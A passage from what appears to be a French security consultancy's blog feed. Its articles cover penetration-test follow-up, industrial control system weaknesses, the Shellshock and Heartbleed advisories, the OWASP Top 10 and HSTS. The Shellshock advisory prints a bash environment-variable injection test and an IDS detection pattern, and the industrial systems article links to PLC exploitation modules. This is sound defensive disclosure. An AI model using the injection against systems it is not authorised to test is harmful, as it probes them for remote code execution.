<p style="text-align: left;"><i><span style="color: #666666;"><span style="font-family: inherit;">La sécurité informatique a fait du chemin ces dernières années. Désormais, toute entreprise de taille respectable dispose de sa politique de sécurité des systèmes d’information. Des sessions de sensibilisation des utilisateurs à la sécurité sont réalisées. Une gouvernance sécurité s’est même mise en place : le RSSI pilote, définit des KPI, analyse ses tableaux de bords SSI. Mais la technique n’est pas non plus oubliée ; on sait désormais que rien ne vaut un test d’intrusion pour vérifier, en imitant les méchants hackers, le niveau de sécurité d’une application ou d’un SI. Et ils vécurent heureux et ne subirent aucune attaque ? Pas si sûr&#8230;</span></span></i></p>
</div>
<div style="margin: 0cm 0cm 10.0pt 0cm;">
<h2>Le test d’intrusion n’est pas une science exacte</h2>
</div>
<div>
<div class="MsoNormal"><span style="font-family: inherit;">Non, malheureusement, le test d’intrusion n’est pas une science exacte. C’est une démarche qui relève plus de la pratique que de la théorie. Et c’est tant mieux. Pourquoi ? Le test d’intrusion n’est pas un audit. L’objectif du test d’intrusion est d’avoir une vision réaliste, “terrain”, du niveau de sécurité d’une application, d’un environnement ou d’un système. Le pentesteur dispose alors d’informations limitées sur sa cible, et doit faire appel à ses connaissances et compétences pour essayer de comprendre les rouages de son fonctionnement, afin d’identifier les éventuelles vulnérabilités. C’est en cela qu’un test d’intrusion automatique est un non-sens ! L’automatisation ne permet pas cette compréhension fine du fonctionnement de la cible, et se contente de dérouler des scénarii de tests prédéfinis.</span></div>
<div class="MsoNormal"></div>
<div class="MsoNormal"><span style="font-family: inherit;">Par ailleurs, même si le pentesteur vise l’exhaustivité dans ses tests, les conditions de réalisation jouent souvent contre lui ! Le test a forcément une durée limitée, qui ne permet d’explorer qu’un nombre limité d’options. De plus, l’environnement sur lequel se déroulent les tests est rarement identique à 100% à l’environnement de production, que ce soit par des différences de configuration, des fonctionnalités non-disponibles, ou des comptes utilisateurs.</span></div>
<div class="MsoNormal"><b style="color: #00477f;"></b><br />
<b style="color: #00477f;"><span style="font-family: inherit;">Une première frustration pour le pentesteur : savoir que son travail, même dévoué, n’est jamais totalement complet.</span></b></div>
<h2>Des tests d’intrusion souvent mal exploités</h2>
</div>
<div><span style="font-family: inherit;">Les tests d’intrusion sont de plus en plus fréquemment gérés par “campagne”, mission d’une durée plus longue et qui regroupe plusieurs audits, réalisés souvent par le même prestataire. On peut ainsi assurer une certaine homogénéité dans les audits, profiter d’un contexte client mieux connu, et proposer des recommandations plus adaptées.</span><span style="font-family: inherit;"><br />
</span><br />
<span style="font-family: inherit;">Malheureusement, une fois cette information obtenue, il convient de traiter les risques (ou de les accepter, pourquoi pas&#8230;). Force est de constater que cette étape n’est pas la plus maîtrisée, dans la plupart des cas. Les campagnes d’audit menées de manière récurrente sur des périmètres comparables font souvent apparaître des rapports d’audit grandement similaires, voir identiques.</span><span style="font-family: inherit;"><br />
</span><br />
<span style="font-family: inherit;">Pourquoi cette situation ? Malheureusement, si les budgets SSI permettent les audits, ils sont rarement dimensionnés pour absorber le coût de la mise en œuvre des recommandations. De plus, les équipes projets sont bien trop souvent réfractaires aux changements, d’autant plus qu’ils sont à appliquer globalement (problématiques de contrôle d’accès, de filtrage des entrées,…).</span><br />
<span class="Miseenvaleur"><span style="font-family: inherit;"><br />
</span></span></p>
<div class="MsoNormal"><span class="Miseenvaleur"><span style="font-family: inherit;">Par ailleurs, au-delà des querelles sur la réelle nécessité d’implémenter tel ou tel mécanisme de sécurité (d’autant plus vigoureuse que l’application est “interne”), c’est très souvent l’implémentation des mécanismes de sécurité qui fait défaut. Les risques sont identifiés, des mesures de protection identifiées et validées, et pourtant, le jour du test d’intrusion, les illusions volent en éclat.</span></span></div>
</div>
<div></div>
<div></div>
<div></div>
<div>
<p>&nbsp;</p>
<div class="MsoNormal"><span class="Miseenvaleur"><span style="font-family: inherit;"><b style="font-family: inherit;"><span style="color: #00477f;"><span style="font-family: inherit;">C’est bien là le regret du pentesteur : découvrir que son travail n’a servi à rien; qu’un an plus tard, les vulnérabilités sont toujours présentes et que d’autres sont même venues s’ajouter.</span></span></b></span></span></div>
</div>
<div>
<h2></h2>
<h2>Quelles conclusions pour la réalisation de tests<br />
d’intrusion ?</h2>
</div>
<div><span style="font-family: inherit;">Faut-il stopper la réalisation de tests d’intrusion ? Non, sans doute pas. En revanche, il convient peut-être de modifier la manière dont on utilise ces ressources. </span><span class="Miseenvaleur"><span style="font-family: inherit;"><br />
</span></span></p>
<div class="MsoNormal"><span class="Miseenvaleur"><span style="font-family: inherit;">D’abord, il faut savoir choisir ses cibles : inutile de tester le même périmètre que l’an dernier tant que l’on n’a pas obtenu la confirmation que les recommandations existantes ont été appliquées !</span></span></div>
<div></div>
<div class="MsoNormal"><span class="Miseenvaleur"><span style="font-family: inherit;">Ensuite, il faut tenter de traiter le problème à la racine : il est inefficace d’empiler les recommandations sur les failles XSS tant que les développeurs ne savent pas correctement traiter les entrées utilisateurs ! Et pour cela, le pentesteur peut apporter plus qu’une liste de vulnérabilités à la Prévert. Il doit s’assurer de l’adhésion des équipes techniques aux recommandations, ainsi que de leur implémentation technique. Pour cela, la réalisation d’ateliers avec les équipes techniques, visant à identifier dans le détail l’implémentation des recommandations, est un vrai plus ! En </span></span><span class="Miseenvaleur"><span style="font-family: inherit;">complément de cet accompagnement sur la mise en œuvre de moyens de protection, les résultats du test d’intrusion doivent également permettre la fiabilisation des mécanismes de supervision sécurité. Pour cela, un travail main dans la main avec les équipes de supervision est nécessaire, ainsi qu’un bilan à froid des actions qui ont été menées, celles qui ont été détectées et celles ne l’ayant pas été. On initie ainsi un cercle vertueux d’amélioration de la détection au cours du temps, concentré sur des éléments « terrain ».</span></span></div>
<div></div>
<div class="MsoNormal"><span class="Miseenvaleur"><span style="font-family: inherit;">Cette collaboration plus étroite entre les équipes de sécurité et les pentesteurs est sans doute la clé pour un meilleur ROI sur les tests d’intrusion. On trouve des références à cette approche sous le nom de “purple team”, une référence aux notions de “blue team” (défense) et de “red team” (attaque) utilisée dans le domaine militaire.</span></span></div>
<div></div>
</div>
<div></div>
<div></div>
<div>
<p>&nbsp;</p>
<div><b style="color: #00477f; font-family: inherit;">Le salut du pentesteur pourrait donc résider dans </b><b style="color: #00477f; font-family: inherit;">cette approche : offrir plus qu’un rapport et des slides, et avoir une démarche </b><b style="color: #00477f; font-family: inherit;">plus intégrée pour, enfin, améliorer la sécurité.</b></div>
</div>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2015/03/le-fardeau-du-pentesteur/">Le fardeau du pentesteur</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Niveau de sécurité des SI Industriels : les vulnérabilités les plus courantes</title>
		<link>https://www.riskinsight-wavestone.com/en/2015/01/niveau-de-securite-des-si-industriels-les-vulnerabilites-les-plus-courantes/</link>
		
		<dc:creator><![CDATA[Arnaud Soullié]]></dc:creator>
		<pubDate>Fri, 16 Jan 2015 08:04:04 +0000</pubDate>
				<category><![CDATA[Cybersecurity & Digital Trust]]></category>
		<category><![CDATA[Manufacturing & Industry 4.0]]></category>
		<category><![CDATA[manuf & industry 4.0]]></category>
		<category><![CDATA[SI industriel]]></category>
		<category><![CDATA[vulnérabilités]]></category>
		<guid isPermaLink="false">http://www.solucom-insight.fr/?p=6896</guid>

					<description><![CDATA[<p>Le niveau de sécurité actuel des SI Industriels est souvent remis en question par les spécialistes en sécurité. Alors, cri au loup ou réalité encore méconnue ? Les audits et études réalisés par Solucom ne font que confirmer les défauts...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2015/01/niveau-de-securite-des-si-industriels-les-vulnerabilites-les-plus-courantes/">Niveau de sécurité des SI Industriels : les vulnérabilités les plus courantes</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>Le niveau de sécurité actuel des SI Industriels est souvent remis en question par les spécialistes en sécurité. Alors, cri au loup ou réalité encore méconnue ? Les audits et études réalisés par Solucom ne font que confirmer les défauts de sécurité sur ces infrastructures.</p>
<h2>Une sécurisation insuffisante, voire inexistante</h2>
<p>Les automates programmables industriels (API), en charge de l’interface avec le monde physique, n’intègrent souvent que peu de fonctions de sécurité et les failles de sécurité publiques les concernant sont nombreuses. L’ICS-CERT a ainsi publié près d’une centaine de bulletins de vulnérabilités sur des composants industriels. Les protocoles de communication utilisés sont un des maillons faibles de la chaîne. Ces protocoles, parmi lesquels on peut citer Modbus, permettent l’échange de consignes ou de valeurs en clair, sans chiffrement.</p>
<p>De même, les possibilités d’authentification des actions sont souvent limitées, permettant à n’importe quel attaquant ayant accès au réseau de modifier les consignes des automates et ainsi d’influer sur leur comportement. Les interfaces d’administration des automates sont par ailleurs souvent protégées par des mots de passe par défaut, jamais changés, et qui parfois ne peuvent pas l’être. Les systèmes plus intégrés appelés SNCC (Systèmes Numériques de Contrôle-Commande) ne sont pas garants d’une sécurité accrue, les protocoles propriétaires utilisés n’apportant pas forcément une réelle couche de sécurité.</p>
<p>La situation est identique pour les PC de supervision ou de programmation qui sont souvent des équipements reposant sur des technologies standard, tels que des systèmes d’exploitation Microsoft Windows. Malheureusement, l’expérience sécurité acquise sur le SI de gestion pour ces équipements profite rarement à leur sécurisation sur la partie industrielle. Les étapes de durcissement sécurité sont rares, de même que l’application de correctifs de sécurité, ou encore la présence d’un antivirus. Il est fréquent de pouvoir prendre le contrôle de ces systèmes par l’exploitation d’une faille de sécurité datant de près de 6 ans.</p>
<h2>Un cloisonnement tout à fait relatif</h2>
<p>De plus, les équipements du SI Industriel sont très largement interfacés avec les SI de gestion. Le cloisonnement entre ces deux mondes est souvent permissif. Il arrive même que le filtrage autorise l’accès à certains équipements industriels depuis l’ensemble du réseau interne d’une entreprise, ce qui peut représenter plusieurs dizaines de milliers de machines.<br />
Les postes de programmation et clés USB constituent également des vecteurs d’attaques puisqu’ils sont connectés à des réseaux de niveau de sécurité hétérogène, voire à des environnements non-maîtrisés (par exemple dans le cas de sous-traitants).</p>
<p>Pire encore, il arrive trop souvent que des équipements industriels soient accessibles directement sur internet. Il existe même des moteurs de recherche dédiés à la recherche d’équipements exposés sur internet, Shodan étant le plus connu. Près de 1500 équipements Modbus sont ainsi recensés en France sur Shodan et plus de 20 000 dans le monde.</p>
<h2>Un constat d’échec ?</h2>
<p>Il ne s’agit néanmoins pas de se lamenter. Bien que le niveau de sécurité actuellement constaté soit faible, il est possible de mener des actions d’amélioration. Au-delà des concepts d’architecture qui permettent de cloisonner ces équipements vulnérables, la vraie, seule solution à long terme consiste à développer de nouveaux produits, sécurisés by design. Bien sûr, les fruits de ce travail ne se verront que sur les nouvelles installations, et pas avant plusieurs dizaines d’années. On peut espérer que la prise de conscience globale des parties prenantes, ainsi que l’implication des instances gouvernementales accélèrent ce changement.<br />
En attendant il semble aujourd’hui nécessaire de déporter les fonctions sécurité sur des équipements dédiés, comme des passerelles encapsulant le trafic réseau dans un tunnel chiffré, ou bien des pare-feu ou IPS disposant de modules spécifiques aux protocoles industriels.</p>
<p>Enfin, il faut également savoir tirer parti d’une des faiblesses des SI Industriels : leur durée de vie et la complexité de changements. En effet, la mise en place d’une supervision sécurité sera facilitée par le caractère figé des réseaux industriels : il est rare que de nouveaux équipements soient installés ou que la topologie réseau soit modifiée. De même, l’emploi d’une solution de contrôle d’exécution par liste blanche sera plus facile sur un PC industriel n’exécutant qu’un seul logiciel de supervision que sur un poste de travail bureautique.</p>
<figure id="post-6898 media-6898" class="align-none"><img loading="lazy" decoding="async" class="" src="http://www.solucom-insight.fr/wp-content/uploads/2015/01/Capture.jpg" alt="" width="508" height="246" /></figure>
<figure id="post-6898 media-6898" class="align-none"></figure>
<p><span style="font-size: x-small;">1 &#8211; http://www.rapid7.com/db/modules/auxiliary/scanner/scada/modbusclient </span><br />
<span style="font-size: x-small;">2 &#8211; https://github.com/arnaudsoullie/metasploit-framework/blob/modicon_stux_transfer/modules/auxiliary/admin/scada/modicon_stux_transfer.rb<br />
</span><span style="font-size: x-small;">3 &#8211; https://github.com/arnaudsoullie/scan7</span></p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2015/01/niveau-de-securite-des-si-industriels-les-vulnerabilites-les-plus-courantes/">Niveau de sécurité des SI Industriels : les vulnérabilités les plus courantes</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Faille critique Shellshock : recommandations du CERT-Solucom</title>
		<link>https://www.riskinsight-wavestone.com/en/2014/09/faille-critique-shellshock-recommandations-du-cert-solucom/</link>
		
		<dc:creator><![CDATA[Arnaud Soullié]]></dc:creator>
		<pubDate>Thu, 25 Sep 2014 19:37:39 +0000</pubDate>
				<category><![CDATA[Cybersecurity & Digital Trust]]></category>
		<category><![CDATA[Ethical Hacking & Incident Response]]></category>
		<category><![CDATA[CERT]]></category>
		<category><![CDATA[incident response CERT-W]]></category>
		<guid isPermaLink="false">http://www.solucominsight.fr/?p=5801</guid>

					<description><![CDATA[<p>Article mis à jour le 26/09 Une vulnérabilité critique concernant l’interpréteur de commandes Bash a été publiée hier (CVE-2014-6271). Dans certaines conditions, cette vulnérabilité permet à un attaquant d’exécuter du code arbitraire. Le score CVSS indiquant la gravité de la...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2014/09/faille-critique-shellshock-recommandations-du-cert-solucom/">Faille critique Shellshock : recommandations du CERT-Solucom</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p><em>Article mis à jour le 26/09</em></p>
<p>Une vulnérabilité critique concernant l’interpréteur de commandes Bash a été publiée hier (CVE-2014-6271). Dans certaines conditions, cette vulnérabilité permet à un attaquant d’exécuter du code arbitraire. Le score CVSS indiquant la gravité de la vulnérabilité est évalué à 10, la note maximale.</p>
<p>Cette vulnérabilité affecte les versions 1.14 à 4.3 de Bash et des <a href="http://www.kernelmode.info/forum/viewtopic.php?f=16&amp;t=3505#p23987" target="_blank" rel="noopener noreferrer">attaques</a> sont en cours sur les services vulnérables.</p>
<p>Des correctifs de sécurité ont été publiés mais sont incomplets. Cette nouvelle vulnérabilité a été identifiée sous le numéro CVE-2014-7169.</p>
<h2>Quels systèmes sont impactés ?</h2>
<p>Les distributions Linux sont les principaux systèmes impactés par la vulnérabilité, car elles intègrent l’interpréteur de commande Bash par défaut. C’est également le cas de Mac OSX, et des utilisateurs de Cygwin sous Windows.</p>
<p>Cependant, de nombreux logiciels et services réalisent des appels système via Bash et sont par conséquent vulnérables.</p>
<p>Il est aujourd’hui confirmé que cette vulnérabilité peut s’exploiter à distance dans certains cas :</p>
<ul>
<li>Sur un serveur web pouvant faire appel à Bash (scripts cgi, appels systèmes Python ou PHP).</li>
<li>Sur un serveur SSH (uniquement après authentification).</li>
<li>Sur un service <a href="https://www.trustedsec.com/september-2014/shellshock-dhcp-rce-proof-concept/" target="_blank" rel="noopener noreferrer">DHCP</a>.</li>
</ul>
<p>Plus généralement tout autre service pouvant faire appel à Bash pourrait être affecté.</p>
<p>Cette faille peut notamment être <a href="https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/osx/local/vmware_bash_function_root.rb" target="_blank" rel="noopener noreferrer">exploitée</a> afin de réaliser une élévation de privilège sous Mac OSX, qui intègre également Bash par défaut.</p>
<h2>Comment vérifier si je suis vulnérable ?</h2>
<p>Il est possible d’identifier la vulnérabilité via l’exécution de la commande suivante :</p>
<p><span style="background-color: #c0c0c0;">$ env var='() { ignore this:;}; echo vulnerable&#8217; bash -c /bin/true</span></p>
<p>Dans le cas d’un serveur vulnérable, la commande affichera « vulnerable ».</p>
<p><i>Attention : cette commande permet de vérifier la bonne application des correctifs disponibles. Cependant, il semblerait que ces correctifs ne mitigent pas l’ensemble des attaques possibles, en particulier l’exploitation locale.</i></p>
<h2 align="left">Quelles sont les actions à mener ?</h2>
<h4 align="left">1-  Recenser les produits vulnérables</h4>
<p align="left">La plupart des systèmes d’exploitation Linux, ainsi que Mac OS X sont affectées par cette vulnérabilité.</p>
<p align="left">Cependant, cette vulnérabilité pourrait également être présente sur d’autres équipements se basant sur des systèmes UNIX. On pense notamment aux <em>appliances</em> réseau et de sécurité, ainsi qu’aux systèmes embarqués.</p>
<p align="left">Il convient de se référer aux bulletins publiés par les éditeurs, lorsqu’ils sont disponibles,  pour plus d’informations.</p>
<h4 align="left">2- Appliquer les correctifs de sécurité</h4>
<p>Bien que son efficacité soit partiellement remise en cause, le correctif de sécurité publié pour Bash permettra de se prémunir des attaques distantes les plus communes.</p>
<h4 align="left">3- Détecter les attaques</h4>
<p>Afin de compléter les mécanismes de protection mis en place, il est possible de détecter ou de bloquer les attaques les plus simples via l’utilisation d’équipements de type IDS/IPS.</p>
<p>Certains éditeurs proposent actuellement des signatures spécifiques à cette attaque, qui reposent sur la détection des caractères spéciaux “() {” dans les en-têtes des requêtes http.</p>
<p>Il est également recommandé d’analyser les logs existants pour détecter une exploitation passée de ShellShock.</p>
<p>&nbsp;</p>
<p align="left">Ce bulletin sera complété dans les prochains jours. Pour plus de précisions, vous pouvez contacter le<a href="mailto:cert@solucom.fr" target="_blank" rel="noopener noreferrer"> CERT-SOLUCOM</a></p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2014/09/faille-critique-shellshock-recommandations-du-cert-solucom/">Faille critique Shellshock : recommandations du CERT-Solucom</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Faille critique Heartbleed : recommandations du CERT-Solucom</title>
		<link>https://www.riskinsight-wavestone.com/en/2014/04/faille-critique-heartbleed-recommandations-du-cert-solucom/</link>
		
		<dc:creator><![CDATA[Arnaud Soullié]]></dc:creator>
		<pubDate>Wed, 09 Apr 2014 15:22:31 +0000</pubDate>
				<category><![CDATA[Cybersecurity & Digital Trust]]></category>
		<category><![CDATA[Ethical Hacking & Incident Response]]></category>
		<category><![CDATA[incident response CERT-W]]></category>
		<guid isPermaLink="false">http://www.solucominsight.fr/?p=5320</guid>

					<description><![CDATA[<p>[Cet article sera mis à jour régulièrement] Une faille de sécurité critique Heartbleed a été identifiée dans les bibliothèques OpenSSL. Elle permet à un attaquant externe, non authentifié, de récupérer le contenu de la mémoire du serveur. Les tests que...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2014/04/faille-critique-heartbleed-recommandations-du-cert-solucom/">Faille critique Heartbleed : recommandations du CERT-Solucom</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>[Cet article sera mis à jour régulièrement]</p>
<p>Une faille de sécurité critique <a href=" http://heartbleed.com/" target="_blank" rel="noopener noreferrer">Heartbleed</a> a été identifiée dans les bibliothèques OpenSSL. Elle permet à un attaquant externe, non authentifié, de récupérer le contenu de la mémoire du serveur.</p>
<p>Les tests que nous avons menés ont montré qu’il était possible de récupérer les données échangées avec le serveur (dont les <em>logins</em> / mots de passe des utilisateurs), ainsi que des fichiers de configuration.</p>
<p><span style="text-decoration: underline;">Recommandations</span></p>
<p>1- Nous recommandons dans un premier  temps de réaliser un inventaire des équipements utilisant ces bibliothèques, et de procéder à un test de vulnérabilité : soit par l’analyse de la version installée , soit via l’utilisation d’un script ;</p>
<p>2- Ensuite, d’appliquer les correctifs de sécurité ;</p>
<p>3- Il est également recommandé de considérer comme compromises les informations ayant transité par ces équipements, et de forcer un renouvellement des mots de passe (utilisateurs, serveurs, etc) ;</p>
<p>4- La clé privée du serveur pouvant également être impactée, il est recommandé de considérer la révocation et le renouvellement des certificats concernés, à minima sur les systèmes sensibles.</p>
<p><span style="text-decoration: underline;">Produits concernés</span></p>
<ul>
<li> OpenSSL 1.0.1 à 1.0.1f et OpenSSL 1.0.2-beta</li>
</ul>
<ul>
<li> Les branches 0.9.8 et 1.0.0 ne sont pas vulnérables</li>
</ul>
<p><b>Attention, de nombreuses solutions packagées et appliances reposent sur ces bibliothèques et sont vulnérables : reverse proxy, passerelle VPN, etc.</b></p>
<p>Cet article sera complété dans les prochaines heures ; pour plus de précisions, vous pouvez contacter le <a title="HeartBleed" href="mailto:cert@solucom.fr" target="_blank" rel="noopener noreferrer">CERT-Solucom</a>.</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2014/04/faille-critique-heartbleed-recommandations-du-cert-solucom/">Faille critique Heartbleed : recommandations du CERT-Solucom</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>SecApp : que retenir du nouveau TOP 10 de l’OWASP ?</title>
		<link>https://www.riskinsight-wavestone.com/en/2013/07/secapp-que-retenir-du-nouveau-top-10-de-lowasp/</link>
		
		<dc:creator><![CDATA[Arnaud Soullié]]></dc:creator>
		<pubDate>Wed, 03 Jul 2013 14:05:26 +0000</pubDate>
				<category><![CDATA[Cybersecurity & Digital Trust]]></category>
		<category><![CDATA[Ethical Hacking & Incident Response]]></category>
		<category><![CDATA[applicatif]]></category>
		<category><![CDATA[OWASP]]></category>
		<category><![CDATA[SecApp]]></category>
		<category><![CDATA[vulnérabilités]]></category>
		<guid isPermaLink="false">http://www.solucominsight.fr/?p=3885</guid>

					<description><![CDATA[<p>L’OWASP (Open Web Application Security Project) vient de publier une version mise à jour de son Top 10. Très largement reconnu et souvent utilisé comme référence, le TOP 10 de l’OWASP recense les dix familles de vulnérabilités les plus répandues...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2013/07/secapp-que-retenir-du-nouveau-top-10-de-lowasp/">SecApp : que retenir du nouveau TOP 10 de l’OWASP ?</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>L’<a href="https://www.owasp.org" target="_blank" rel="noopener noreferrer">OWASP</a> (<em>Open Web Application Security Project</em>) vient de publier une version mise à jour de son Top 10. Très largement reconnu et souvent utilisé comme référence, <a href="https://www.owasp.org/index.php/Top_10_2013-Top_10" target="_blank" rel="noopener noreferrer">le TOP 10 de l’OWASP</a> recense les dix familles de vulnérabilités les plus répandues et les plus critiques.</p>
<h2> Le Top 10 2013, dans la continuité des Top 10 précédents</h2>
<p>La quasi-totalité des risques présents dans le top 10 2010 le sont encore dans le top 10 2013. De même, aucun réel nouveau risque n’est apparu : il ne s’agit que d’un remaniement.</p>
<p><a href="http://www.solucominsight.fr/2013/07/secapp-que-retenir-du-nouveau-top-10-de-lowasp/top-10-owasp-2/" rel="attachment wp-att-3911"><img loading="lazy" decoding="async" class="alignnone  wp-image-3911" title="Top 10 OWASP" src="http://www.solucominsight.fr/wp-content/uploads/2013/07/Top-10-OWASP1.jpg" alt="" width="703" height="235" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2013/07/Top-10-OWASP1.jpg 1041w, https://www.riskinsight-wavestone.com/wp-content/uploads/2013/07/Top-10-OWASP1-437x147.jpg 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2013/07/Top-10-OWASP1-71x24.jpg 71w" sizes="auto, (max-width: 703px) 100vw, 703px" /></a></p>
<p><em> Evolutions du Top 10 entre 2010 et 2013</em></p>
<p>Cette mise à jour reflète néanmoins les évolutions constatées lors de nos audits, et notamment le recours de plus en plus fréquent à des framework de développement, mais dont les fonctionnalités de sécurité ne sont pas forcément (bien) utilisées ; ainsi, les failles applicatives sont souvent détectées dans les modules développés spécifiquement pour les besoins métiers. Par ailleurs, le trio de tête « Injection, XSS et gestion des sessions » reste présent dans la quasi-totalité des applications que nous auditons.</p>
<h2>Quelques évolutions marquantes du Top10 2013</h2>
<h4> Falsification de requête intersites (CSRF)</h4>
<p>De plus en plus, des fonctions de protection contre le CSRF sont intégrées dans les framework de développement ainsi que dans les logiciels commerciaux, ce qui explique la diminution du risque associé. Cependant, ne prenons pas pour acquis cette protection : nous constatons très fréquemment des vulnérabilités de ce type, qui restent moins connues des développeurs que les vulnérabilités d’injection.</p>
<h4> Manque de contrôle d’accès au niveau fonctionnel</h4>
<p>Les vulnérabilités de contrôle d’accès remontent dans le classement, non pas parce qu’elles sont plus fréquentes, mais parce qu’elles sont mieux détectées. Il s’agit effectivement de vulnérabilités que l’on retrouve très classiquement de nos audits. De plus, ces vulnérabilités sont souvent très difficiles, voire impossible à détecter à l’aide d’outils automatisés, car elles nécessitent une bonne compréhension du fonctionnement de l’application et de la logique métier : seul un auditeur humain saura comprendre et évaluer en détails ces mécanismes.</p>
<h4>Utilisation de composants avec des vulnérabilités connues</h4>
<p>Le recours à des frameworks de développement, ou plus simplement à des librairies externes, est de plus en plus fréquent. Cependant, les processus associés de veille sécurité et de mise à niveau régulière ne sont que rarement mis en place ; ainsi, nombreuses sont les applications à utiliser des composants pour lesquels des vulnérabilités sont connues, et exploitables.  De plus, les modifications apportées à certaines applications peuvent empêcher l’application des correctifs de sécurité ou la migration vers des versions nouvelles. Il est donc primordial d’assurer un suivi de l’ensemble des briques applicatives utilisées, comme suggéré par <a href="http://www.ssi.gouv.fr/IMG/pdf/guide_hygiene_informatique_anssi.pdf">la règle d’hygiène</a> n°6 de l’<a href="http://www.ssi.gouv.fr">ANSSI</a>.</p>
<h2> La sécurité applicative, un domaine que l’on ne peut plus ignorer</h2>
<p>Malheureusement, il est très rare d’auditer une application web dont le niveau de sécurité est satisfaisant. L’évolution du niveau de sécurité reste lente, notamment au regard d’une forte tendance à la hausse des intrusions et défacements. Pourtant, l’intégration de la sécurité dans les projets, ainsi que la création de <a href="http://www.solucominsight.fr/2013/03/secapp-la-securite-de-votre-si-passera-pas-la-securite-applicative/">cellules de sécurité applicative</a> sont des initiatives qui fonctionnent !</p>
<p>Alors, que faire ? Ne vous arrêtez pas à 10 ! Ce Top 10 n’a pas pour vocation de lister l’ensemble des vulnérabilités possibles et imaginables sur les applications web ! Il est primordial de savoir ajuster les mesures de sécurité aux besoins de sécurité propres à votre métier et à vos données, notamment par la réalisation d’une analyse de risques préalable.<br />
<em> </em></p>
<p><em>Le Top 10 vient également d’être traduit en français par le chapitre français de l’OWASP, projet auquel Solucom a eu le plaisir de participer. La version française est <a href=" http://owasptop10.googlecode.com/files/OWASP%20Top%2010%20-%202013%20-%20French.pdf">disponible sous ce lien.  </a></em></p>
<p><em> Pour être informé des prochains événements organisés par l’OWASP France, n’hésitez pas à rejoindre la </em><a href="https://lists.owasp.org/mailman/listinfo/owasp-france"><em>mailing-list OWASP France</em></a><em>.</em></p>
<p><em> </em>Pour en savoir plus sur les cellules de sécurité applicative (SecApp), n’hésitez pas à télécharger notre <a href="http://www.solucom.fr/Publications/La-cellule-SecApp-enfin-un-levier-pour-garantir-le-succes-de-la-securite-applicative">focus sur le sujet</a>.</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2013/07/secapp-que-retenir-du-nouveau-top-10-de-lowasp/">SecApp : que retenir du nouveau TOP 10 de l’OWASP ?</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>HTTP Strict Transport Policy, une avancée dans la sécurisation des échanges sur Internet ?</title>
		<link>https://www.riskinsight-wavestone.com/en/2013/02/http-strict-transport-policy-une-avancee-dans-la-securisation-des-echanges-sur-internet/</link>
		
		<dc:creator><![CDATA[Arnaud Soullié]]></dc:creator>
		<pubDate>Thu, 21 Feb 2013 15:50:57 +0000</pubDate>
				<category><![CDATA[Cloud & Next-Gen IT Security]]></category>
		<category><![CDATA[Cybersecurity & Digital Trust]]></category>
		<category><![CDATA[Cyberattaque]]></category>
		<category><![CDATA[Cybercriminalité]]></category>
		<category><![CDATA[http]]></category>
		<category><![CDATA[https]]></category>
		<category><![CDATA[internet]]></category>
		<category><![CDATA[security architecture]]></category>
		<guid isPermaLink="false">http://www.solucominsight.fr/?p=3251</guid>

					<description><![CDATA[<p>En internaute averti, vous avez pris l’habitude de vous connecter en HTTPS aux sites sensibles, et de vérifier la présence du petit cadenas à côté de la barre d’adresse, mais cela est-il vraiment suffisant ? Certaines implémentations imparfaites de HTTPS peuvent...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2013/02/http-strict-transport-policy-une-avancee-dans-la-securisation-des-echanges-sur-internet/">HTTP Strict Transport Policy, une avancée dans la sécurisation des échanges sur Internet ?</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p><em>En internaute averti, vous avez pris l’habitude de vous connecter en HTTPS aux sites sensibles, et de vérifier la présence du petit cadenas à côté de la barre d’adresse, mais cela est-il vraiment suffisant ? Certaines implémentations imparfaites de HTTPS peuvent exposer les données échangées, c’est pourquoi un mécanisme de sécurité supplémentaire a été normalisé en fin d’année dernière, <a href="http://tools.ietf.org/html/rfc6797">HTTP Strict Transport Security</a>.</em></p>
<h2>Pourquoi a-t-on besoin de HSTS ?</h2>
<p>Malheureusement, l’utilisation de HTTPS n’est souvent pas exclusive, ouvrant la voie à trois types de menaces :</p>
<ul>
<li><strong>Attaques réseau passives sur des flux non-chiffrés</strong></li>
</ul>
